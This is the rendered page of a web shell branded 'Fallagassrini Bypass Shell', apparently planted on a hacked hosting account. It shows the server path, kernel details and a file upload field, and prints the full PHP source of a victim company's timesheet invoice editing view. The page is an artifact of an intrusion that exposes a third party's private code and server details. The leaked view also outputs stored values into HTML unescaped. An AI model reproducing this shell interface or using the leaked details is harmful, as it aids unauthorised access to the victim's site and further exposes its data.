? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Timesheet/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sgms/application/views/Timesheet/edit_invoice.php

<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$start_date=$this->mastermodel->convertdateformat($viewinfo->invoice_start_date);
$end_date=$this->mastermodel->convertdateformat($viewinfo->invoice_end_date);

$poinfo=$this->timesheetmodel->get_job_info_single($viewinfo->purchase_order_id);
$client_timesheet=$this->timesheetmodel->get_client_timesheet_invoice_info($viewinfo->purchase_order_id,$start_date,$end_date);
$manpower_timesheet=$this->timesheetmodel->get_manpower_timesheet_invoice_info($viewinfo->purchase_order_id,$start_date,$end_date);
?>

<link href="<?=base_url()?>assets/css/tablesortnew.css" rel="stylesheet" type="text/css"/>

<div class="select-bar">
    <label><img src="<?=base_url()?>assets/images/backbutton.png" title="Back" class="clickimage" onclick="viewdata('timesheet','viewintimesheetsearch','search_invoice','view_invoice','<?=$_SESSION['pagenum'];?>')" alt="Back" align = "center" width="25" height="25"  />
    </label>
    <span class="heading">Update Invoice</span>
</div>

<fieldset>
    <?php
        
        $attributes=array('id'=>'validateform','class'=>'customForm');
        echo form_open('timesheet/addintimesheet/update_invoice/view_invoice/1',$attributes);
        
    ?>
    <ul>
         
        
          <li>
            <label for="data">Timesheet Start Date</label>
            <div class="record_entry">
                <?=$this->mastermodel->convertdatenormalformat($start_date);?>
            </div>
         </li>
          <li>
            <label for="data">Timesheet End Date</label>
            <div class="record_entry">
                <?=$this->mastermodel->convertdatenormalformat($end_date);?>
            </div>
         
         </li>
         <input type="hidden" name="purchase_order_id" id="purchase_order_id" value="<?=$viewinfo->purchase_order_id;?>"/>
                  <input type="hidden" name="invoice_id" id="invoice_id" value="<?=$viewinfo->invoice_id;?>"/>

         <li>
            <label for="data">Customer Name</label>
                <div class="record_entry">
                    <?php
                        echo $poinfo->customer_name;
                    ?>

                </div>
         </li>

         <li>
            <label for="data">Customer Purchase Order No</label>
                <div class="record_entry">
                    <?php
                        echo $poinfo->customer_purchase_order_no;
                    ?>

                </div>
         </li>

         <li>
            <label for="data">Site</label>
                <div class="record_entry">
                    <?php
                        echo $poinfo->site_name;
                    ?>
                </div>
         </li>

        <li>
            <table class="sortnew">
                <tr><th colspan='2' style="text-align: center">Invoice Details</th></tr>
                <tr>
                    <td>Invoice Date</td>
                    <td>
            <div id="multi">
                 <?php
                      $data = array(
                      'name'        => 'invoice_date',
                      'id'          => 'invoice_date',
                      'class'       =>'required',
                      'value'       =>  $this->mastermodel->convertdatenormalformat($viewinfo->invoice_date)
                      );
                      echo form_input($data).form_error($data);
                 ?>
                <img src="<?=base_url()?>assets/images/icons/calendar.png"  alt="Click to popup the clendar!" />
            </div>
                            </td>
                            </tr>
        <tr>
                    <td>Invoice No</td>
                    <td>
            <?php
                $data = array(
                      'name'        => 'invoice_no',
                      'id'          => 'invoice_no',
                      'class'       =>'required',
                      'value'       => $viewinfo->invoice_no
                      );
                      echo form_input($data).form_error($data);
                 ?>
        </td>
        </tr>
        <tr>
                    <td>Status</td>
                    <td>
            <?php
                $data = array(
                      'name'        => 'invoice_status',
                      'id'          => 'invoice_status',
                      'value'       => $viewinfo->invoice_status
                      );
                      echo form_input($data).form_error($data);
                 ?>
        </td>
        </tr>
        <tr>
                    <td>Remarks</td>
                    <td>
            <?php
                $data = array(
                      'name'        => 'invoice_remarks',
                      'id'          => 'invoice_remarks',
                      'value'       => $viewinfo->invoice_remarks,
                  'rows'          => '10',
                  'cols'          => '5',
                  'style'       => 'width:80%',

                      );
                      echo form_textarea($data).form_error($data);
                 ?>
       </td>
        </tr>
        <tr>
                    <td>Document</td><td>
            <?php

                              $data1 = array(
                              'name'        => 'invoice_document',
                              'id'          => 'invoice_document'
                              );
                              echo form_upload($data1).form_error($data1);
                         ?>
              
                        <?php
                        if($viewinfo->invoice_document != "")
                        {
                        ?>
                        <a href="<?=base_url()?>assets/uploads/<?=$viewinfo->invoice_document;?>">Download</a>
                        <?php
                            }
                        ?>
                        </td></tr></table>
                 <table class="sortnew">
                <tr><th colspan='2' style="text-align: center">Invoice Template</th></tr>
         
        <tr>
                    <td>Invoice Heading</td>
                    <td>
            <?php
                $data = array(
                      'name'        => 'invoice_heading',
                      'id'          => 'invoice_heading',
                      'class'       =>'required',
                      'value'       => $viewinfo->invoice_heading
                      );
                      echo form_input($data).form_error($data);
                 ?>
        </td>
      
        <tr>
                    <td>Invoice Footer</td>
                    <td>
            <?php
                $data = array(
                      'name'        => 'invoice_footer',
                      'id'          => 'invoice_footer',
                      'value'       => $viewinfo->invoice_footer,
                  'rows'          => '10',
                  'cols'          => '5',
                  'style'       => 'width:80%',

                      );
                      echo form_textarea($data).form_error($data);
                 ?>
       </td>
        </tr></table>
            <table class="sortnew">
                <tr>
                    <th colspan="3">Invoice Template Header Fields</th>
                </tr>
                <tr>
                <th>Label</th>
                <th>Value</th>
                <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
            </tr>
            <?php
            $i=1;
            $invoice_fields=$this->mastermodel->get_data('payroll_invoice_field',$viewinfo->invoice_id,'invoice_id');
            foreach($invoice_fields as $k=>$row)
            {
            ?>
            <tr>
                <td><input style="width:100px;" type="text" name="label_text<?=$i;?>" value="<?=$row['label_text']?>"/></td>
                <td><input style="width:100px;" type="text" name="label_value<?=$i;?>" value="<?=$row['label_value']?>"/></td>
                <td>
                  <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                </td>
            </tr>
            <?php
            }
            ?>
            <tr>
                <td><input style="width:100px;" type="text" name="label_text" /></td>
                <td><input style="width:100px;" type="text" name="label_value"/></td>
                <td>
                  <img style="float: right; vertical-align: top;"src="<?=base_url()?>assets/images/icons/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
                </td>
            </tr>
        </table>
        </li>
           <li>

            <table class="sort">
                <caption>Invoice Information for <?=$poinfo->customer_purchase_order_no;?></caption>
                <tr>
                    <th>Sl No</th>
                    <th>Trade</th>
                    <th>Manpower</th>
                    <th>Man Hrs</th>
                    <th>Rate/Hr</th>
                    <th>Amount</th>
                </tr>
                <?php
                    $slno=1;
                    $grand_total=0;
                    $man=array();
                    foreach($manpower_timesheet as $mansheet)
                    {
                        $man[]=$mansheet['trade_id'];
                    }
                    foreach($client_timesheet as $clientsheet)
                    {
                        $ot_type=$this->timesheetmodel->get_ot_type($poinfo->purchase_order_id,$clientsheet['trade_id']);
                        $key=array_search($clientsheet['trade_id'], $man);
                        if(is_numeric($key))
                        {
                            $manpower=$clientsheet['manpower']+$manpower_timesheet[$key]['manpower'];
                            $normal_hours=($clientsheet['normal_hours']-$clientsheet['ot_hours']-$clientsheet['hot_hours'])+($manpower_timesheet[$key]['normal_hours']-$manpower_timesheet[$key]['ot_hours']-$manpower_timesheet[$key]['hot_hours']);
                            if($ot_type==0)
                            {
                                $ot_hours=0;
                                $hot_hours=0;
                                $ot_rate=0;
                                $hot_rate=0;
                                $normal_hours = $normal_hours+$clientsheet['ot_hours']+$manpower_timesheet[$key]['ot_hours']+$clientsheet['hot_hours']+$manpower_timesheet[$key]['hot_hours'];
                            }
                            else
                            {
                                $ot_hours=$clientsheet['ot_hours']+$manpower_timesheet[$key]['ot_hours'];
                                $hot_hours=$clientsheet['hot_hours']+$manpower_timesheet[$key]['hot_hours'];
                            }
                            unset($manpower_timesheet[$key]);
                        }
                        else
                        {
                            $normal_hours=$clientsheet['normal_hours']-$clientsheet['ot_hours']-$clientsheet['hot_hours'];
                            if($ot_type==0)
                            {
                                $ot_hours=0;
                                $hot_hours=0;
                                $ot_rate=0;
                                $hot_rate=0;
                                $normal_hours = $normal_hours+$clientsheet['ot_hours']+$clientsheet['hot_hours'];
                            }
                            else
                            {
                                $ot_hours=$clientsheet['ot_hours'];
                                $hot_hours=$clientsheet['hot_hours'];
                            }
                            $manpower=$clientsheet['manpower'];

                        }


                ?>
                <tr>
                    <td rowspan="3"><?=$slno++;?></td>
                    <td><?=$clientsheet['trade_name'];?></td>
                    <td rowspan="3"><?=$manpower;?></td>
                    <td style="text-align: right;">
                        <?php

                        echo number_format($normal_hours,2);
                        ?>
                    </td>
                    <td style="text-align: right;"><?=$clientsheet['normal_rate'];?></td>


                    <td style="text-align: right;">
                        <?php
                            echo number_format($clientsheet['normal_rate']*$normal_hours,2);
                        ?>
                    </td>
                </tr>

                <tr>
                <?php
                if($ot_type!=0)
                {
                ?>
                    <td>OT</td>
                    <td style="text-align: right;"><?=$ot_hours;?></td>
                    <td style="text-align: right;">
                    <?php
                        if($clientsheet['ot_rate']=="0.00")
                        {
                            $ot_rate= $clientsheet['normal_rate'];
                        }
                        else
                        {
                            $ot_rate=  $clientsheet['ot_rate']/100*$clientsheet['normal_rate'];
                        }
                        echo number_format($ot_rate,2);
                    ?>
                    </td>
                    <td style="text-align: right;">
                        <?php
                            echo number_format($ot_rate*$ot_hours,2);
                        ?>
                    </td>
                <?php
                }
                ?>
                </tr>
                <tr>
                <?php
                if($ot_type!=0)
                {
                ?>
                    <td>HOT</td>
                    <td style="text-align: right;"><?=$hot_hours;?></td>
                     <td style="text-align: right;">
                    <?php
                        if($clientsheet['hot_rate']=="0.00")
                        {
                            $hot_rate= $clientsheet['normal_rate'];
                        }
                        else
                        {
                            $hot_rate=  $clientsheet['hot_rate']/100*$clientsheet['normal_rate'];
                        }
                        echo number_format($hot_rate,2);
                    ?>
                    </td>
                    <td style="text-align: right;">
                        <?php
                            echo number_format($hot_rate*$hot_hours,2);
                        ?>
                    </td>
                <?php
                }
                ?>
                </tr>
                <?php
                    $total_amount = $clientsheet['normal_rate']*$normal_hours + $ot_rate*$ot_hours + $hot_rate*$hot_hours;
                    $grand_total+=$total_amount;
                    }

                    foreach($manpower_timesheet as $mansheet)
                    {
                            $ot_type=$this->timesheetmodel->get_ot_type($poinfo->purchase_order_id,$mansheet['trade_id']);
                            $manpower=$mansheet['manpower'];
                            $normal_hours=$mansheet['normal_hours']-$mansheet['ot_hours']-$mansheet['hot_hours'];
                            if($ot_type==0)
                            {
                                $ot_hours=0;
                                $hot_hours=0;
                                $ot_rate=0;
                                $hot_rate=0;
                                $normal_hours = $mansheet['ot_hours']+$mansheet['hot_hours'];
                            }
                            else
                            {
                                $ot_hours=$mansheet['ot_hours'];
                                $hot_hours=$mansheet['hot_hours'];
                            }



                ?>
                <tr>
                    <td rowspan="3"><?=$slno++;?></td>
                    <td><?=$mansheet['trade_name'];?></td>
                    <td rowspan="3"><?=$manpower;?></td>
                    <td style="text-align: right;">
                        <?php

                        echo number_format($normal_hours,2);
                        ?>
                    </td>
                    <td style="text-align: right;"><?=$mansheet['normal_rate'];?></td>


                    <td style="text-align: right;">
                        <?php
                            echo number_format($mansheet['normal_rate']*$normal_hours,2);
                        ?>
                    </td>
                </tr>
                <tr>
               <?php
                if($ot_type!=0)
                {
                ?>
                    <td>OT</td>
                    <td style="text-align: right;"><?=$ot_hours;?></td>
                    <td style="text-align: right;">
                    <?php
                         if($mansheet['ot_rate']=="0.00")
                        {
                            $ot_rate= $mansheet['normal_rate'];
                        }
                        else
                        {
                            $ot_rate=  $mansheet['ot_rate']/100*$mansheet['normal_rate'];
                        }
                        echo number_format($ot_rate,2);
                    ?>
                    </td>
                    <td style="text-align: right;">
                        <?php
                            echo number_format($ot_rate*$ot_hours,2);
                        ?>
                    </td>
                <?php
                }
                ?>
                </tr>
                <tr>
                <?php
                if($ot_type!=0)
                {
                ?>
                    <td>HOT</td>
                    <td style="text-align: right;"><?=$hot_hours;?></td>
                     <td style="text-align: right;">
                    <?php
                        if($mansheet['hot_rate']=="0.00")
                        {
                            $hot_rate= $mansheet['normal_rate'];
                        }
                        else
                        {
                            $hot_rate=  $mansheet['hot_rate']/100*$mansheet['normal_rate'];
                        }
                        echo number_format($hot_rate,2);
                    ?>
                    </td>
                    <td style="text-align: right;">
                        <?php
                            echo number_format($hot_rate*$hot_hours,2);
                        ?>
                    </td>
                 <?php
                }
                ?>
                </tr>
                <?php
                    $total_amount = $mansheet['normal_rate']*$normal_hours + $ot_rate*$ot_hours + $hot_rate*$hot_hours;
                    $grand_total+=$total_amount;
                    }

                ?>
                <tr>
                    <th colspan="5" style="text-align: right;font-weight: bold;">Total</th>
                    <th style="text-align: right;font-weight: bold;"><?=number_format($grand_total,2);?></th>
                </tr>
            </table>

        </li>
         <li>
            <input type="hidden" name="tab_name" value="payroll_invoice"/>
            <input type="hidden" name="resfunction" value="search_invoice"/>
        </li>
        <li>
            <label for="submit">&nbsp;</label>
            <button type="submit" class="clickimage" onclick="addformdata('validateform')">Save</button>
        </li>


       
    </ul>
<?php echo form_close();?>
</fieldset>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net